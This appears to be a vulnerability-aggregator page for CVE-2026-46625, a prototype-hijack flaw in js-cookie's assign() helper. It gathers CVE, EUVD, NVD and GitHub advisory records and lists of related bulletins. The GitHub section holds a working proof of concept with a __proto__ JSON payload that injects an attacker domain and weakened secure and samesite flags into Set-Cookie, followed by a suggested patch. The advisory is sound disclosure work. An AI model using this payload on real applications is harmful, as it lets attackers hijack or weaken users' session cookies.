GHSA-qjx8-664m-686jPublished

JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

Exploitation and risk

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cve-program · CVE-2026-46625

Published

JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.

Source published: 10 Jun 2026 21:18:05 UTC
Source modified: 9 Sep 2026 12:05:08 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

euvd · EUVD-2026-36154

Published

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 10, 2026, 9:18:05 PM

dateUpdated: Sep 9, 2026, 12:05:08 PM

15 related source bulletins · separate from aliases

RHSA-2026:36625: Red Hat Security Advisory: RHACS 4.10.5 security and bug fix update

CVE-2026-9165 · CVE-2026-12143 · CVE-2026-25681 · CVE-2026-32280 · CVE-2026-33811 · CVE-2026-39820 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39835 · CVE-2026-39836 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-46597 · CVE-2026-46625 · CVE-2026-53488

WID-SEC-W-2026-2460: Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen

CVE-2016-10540 · CVE-2020-28282 · CVE-2020-7729 · CVE-2021-22569 · CVE-2021-23358 · CVE-2022-1537 · CVE-2022-3509 · CVE-2022-3510 · CVE-2022-37599 · CVE-2022-37601 · CVE-2022-37603 · CVE-2024-7254 · CVE-2025-11226 · CVE-2025-14813 · CVE-2025-62718 · CVE-2025-69873 · CVE-2026-12143 · CVE-2026-21575 · CVE-2026-21577 · CVE-2026-21579 · CVE-2026-22731 · CVE-2026-2332 · CVE-2026-27830 · CVE-2026-29063 · CVE-2026-29145 · CVE-2026-29146 · CVE-2026-31802 · CVE-2026-33671 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34043 · CVE-2026-35554 · CVE-2026-40175 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-42198 · CVE-2026-42264 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42585 · CVE-2026-42587 · CVE-2026-42588 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44705 · CVE-2026-45416 · CVE-2026-45505 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-50010 · CVE-2026-5598 · CVE-2026-6321 · CVE-2026-6322

RHSA-2026:56357: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update

CVE-2026-9595 · CVE-2026-14257 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:49642: Red Hat Security Advisory: Red Hat Developer Hub 1.10.3 release.

CVE-2026-5038 · CVE-2026-5079 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-42504 · CVE-2026-45740 · CVE-2026-46625 · CVE-2026-48068 · CVE-2026-48069 · CVE-2026-48801 · CVE-2026-49978 · CVE-2026-59869 · CVE-2026-59877 · CVE-2026-59892

RHSA-2026:48151: Red Hat Security Advisory: Red Hat build of Cryostat security update

CVE-2026-6734 · CVE-2026-6860 · CVE-2026-9697 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33811 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39835 · CVE-2026-42504 · CVE-2026-44249 · CVE-2026-44290 · CVE-2026-44291 · CVE-2026-44292 · CVE-2026-44893 · CVE-2026-45416 · CVE-2026-45674 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-46384 · CVE-2026-46385 · CVE-2026-46595 · CVE-2026-46599 · CVE-2026-46625 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-48779 · CVE-2026-50010 · CVE-2026-50559 · CVE-2026-54512 · CVE-2026-54513

RHSA-2026:48126: Red Hat Security Advisory: Red Hat Developer Hub 1.10.3 Plugin Catalog GA plugins release.

CVE-2026-5038 · CVE-2026-5079 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-45740 · CVE-2026-46625 · CVE-2026-48068 · CVE-2026-48069 · CVE-2026-48801 · CVE-2026-49978 · CVE-2026-59869 · CVE-2026-59877

WID-SEC-W-2026-3046: IBM Concert: Mehrere Schwachstellen

CVE-2019-19921 · CVE-2021-23337 · CVE-2024-3651 · CVE-2024-39338 · CVE-2024-45590 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-15599 · CVE-2025-22874 · CVE-2025-47273 · CVE-2025-47907 · CVE-2025-52881 · CVE-2025-53643 · CVE-2025-55184 · CVE-2025-58056 · CVE-2025-58188 · CVE-2025-58189 · CVE-2025-61723 · CVE-2025-61730 · CVE-2025-64649 · CVE-2025-64756 · CVE-2025-67221 · CVE-2025-68121 · CVE-2025-68146 · CVE-2026-0540 · CVE-2026-2327 · CVE-2026-23490 · CVE-2026-23897 · CVE-2026-2391 · CVE-2026-23949 · CVE-2026-24486 · CVE-2026-25528 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26019 · CVE-2026-26996 · CVE-2026-27142 · CVE-2026-27212 · CVE-2026-27699 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29181 · CVE-2026-2950 · CVE-2026-31808 · CVE-2026-31900 · CVE-2026-32274 · CVE-2026-32288 · CVE-2026-32597 · CVE-2026-32630 · CVE-2026-32887 · CVE-2026-32952 · CVE-2026-33186 · CVE-2026-33532 · CVE-2026-33750 · CVE-2026-33814 · CVE-2026-33816 · CVE-2026-33916 · CVE-2026-34043 · CVE-2026-34073 · CVE-2026-34077 · CVE-2026-3520 · CVE-2026-35469 · CVE-2026-35515 · CVE-2026-3627 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39892 · CVE-2026-39984 · CVE-2026-40175 · CVE-2026-40179 · CVE-2026-40181 · CVE-2026-40190 · CVE-2026-40347 · CVE-2026-41066 · CVE-2026-41182 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-41324 · CVE-2026-41425 · CVE-2026-41481 · CVE-2026-41488 · CVE-2026-41602 · CVE-2026-41636 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42561 · CVE-2026-42577 · CVE-2026-43870 · CVE-2026-44405 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44728 · CVE-2026-4539 · CVE-2026-45409 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-4800 · CVE-2026-4923 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-8723

RHSA-2026:33183: Red Hat Security Advisory: Kiali 2.22.6 for Red Hat OpenShift Service Mesh 3.3

CVE-2026-12143 · CVE-2026-39821 · CVE-2026-42338 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-46625 · CVE-2026-48779

WID-SEC-W-2026-2923: Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen

CVE-2019-13990 · CVE-2021-44906 · CVE-2022-1471 · CVE-2022-23521 · CVE-2022-3517 · CVE-2022-41903 · CVE-2023-22518 · CVE-2023-22522 · CVE-2023-22523 · CVE-2023-22524 · CVE-2023-22527 · CVE-2023-45133 · CVE-2023-46604 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-2332 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-3505 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192

NCSC-2026-0325: Kwetsbaarheden verholpen in Atlassian producten

CVE-2021-44906 · CVE-2022-3517 · CVE-2023-45133 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-2332 · CVE-2026-3505 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192

WID-SEC-W-2026-2299: HCL BigFix: Schwachstelle ermöglicht Manipulation von Daten

CVE-2026-46625

RHSA-2026:56338: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update

CVE-2026-9595 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089

RHSA-2026:52768: Red Hat Security Advisory: Red Hat Developer Hub 1.9.8 release.

CVE-2026-5038 · CVE-2026-5079 · CVE-2026-13149 · CVE-2026-46625 · CVE-2026-48068 · CVE-2026-48069 · CVE-2026-48712 · CVE-2026-49978 · CVE-2026-59869 · CVE-2026-59877 · CVE-2026-59892

RHSA-2026:60520: Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI

CVE-2025-66471 · CVE-2025-66626 · CVE-2025-71329 · CVE-2025-71330 · CVE-2026-0545 · CVE-2026-2614 · CVE-2026-5241 · CVE-2026-5422 · CVE-2026-6322 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12243 · CVE-2026-12481 · CVE-2026-13149 · CVE-2026-13311 · CVE-2026-13676 · CVE-2026-13717 · CVE-2026-14450 · CVE-2026-15154 · CVE-2026-15218 · CVE-2026-15378 · CVE-2026-15467 · CVE-2026-15581 · CVE-2026-16745 · CVE-2026-18608 · CVE-2026-18611 · CVE-2026-18617 · CVE-2026-18620 · CVE-2026-18621 · CVE-2026-18948 · CVE-2026-18951 · CVE-2026-18982 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-32280 · CVE-2026-32283 · CVE-2026-33079 · CVE-2026-33245 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-35397 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40171 · CVE-2026-41672 · CVE-2026-41673 · CVE-2026-41675 · CVE-2026-42211 · CVE-2026-42215 · CVE-2026-42264 · CVE-2026-42266 · CVE-2026-42284 · CVE-2026-42305 · CVE-2026-42311 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-42508 · CVE-2026-42557 · CVE-2026-44017 · CVE-2026-44018 · CVE-2026-44020 · CVE-2026-44240 · CVE-2026-44244 · CVE-2026-44289 · CVE-2026-44290 · CVE-2026-44291 · CVE-2026-44292 · CVE-2026-44293 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44513 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-44724 · CVE-2026-44727 · CVE-2026-44827 · CVE-2026-44843 · CVE-2026-45292 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-45804 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46625 · CVE-2026-47214 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48712 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49476 · CVE-2026-49477 · CVE-2026-49851 · CVE-2026-49978 · CVE-2026-50193 · CVE-2026-53550 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-54283 · CVE-2026-54293 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-55685 · CVE-2026-56121 · CVE-2026-56208 · CVE-2026-56209 · CVE-2026-56210 · CVE-2026-56211 · CVE-2026-58049 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-64835 · CVE-2026-64849 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-69243 · CVE-2026-69244

RHSA-2026:59153: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update

CVE-2026-9595 · CVE-2026-12143 · CVE-2026-15307 · CVE-2026-27459 · CVE-2026-39363 · CVE-2026-44244 · CVE-2026-44545 · CVE-2026-44705 · CVE-2026-46625 · CVE-2026-59886 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71364 · CVE-2026-71365 · CVE-2026-71366

Source published: Jun 10, 2026, 9:18:05 PM (timezone not stated)
Source modified: Sep 9, 2026, 12:05:08 PM (timezone not stated)
Saved here: 15 Nov 2026 14:04:39 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

nvd · CVE-2026-46625

Published

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-1321 · CWE-915

Original publisher date fields

published: 2026-06-10T22:16:59.613

lastModified: 2026-09-09T13:20:18.357

8 source CPE criteria · context only

cpe:2.3:a:js-cookie:javascript_cookie:*:*:*:*:*:node.js:*:*
cpe:2.3:a:redhat:3scale_api_management:2.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:ansible_automation_platform:2.0:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_ai:-:*:*:*:*:*:*:*
cpe:2.3:a:redhat:openshift_lightspeed:-:*:*:*:*:*:*:*
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 10 Jun 2026 22:16:59 UTC
Source modified: 9 Sep 2026 13:20:18 UTC
Saved here: 25 Oct 2026 12:17:20 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

osv · GHSA-qjx8-664m-686j

Published

## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```

Source published: 21 May 2026 21:20:31 UTC
Source modified: 10 Sep 2026 03:50:47 UTC
Saved here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH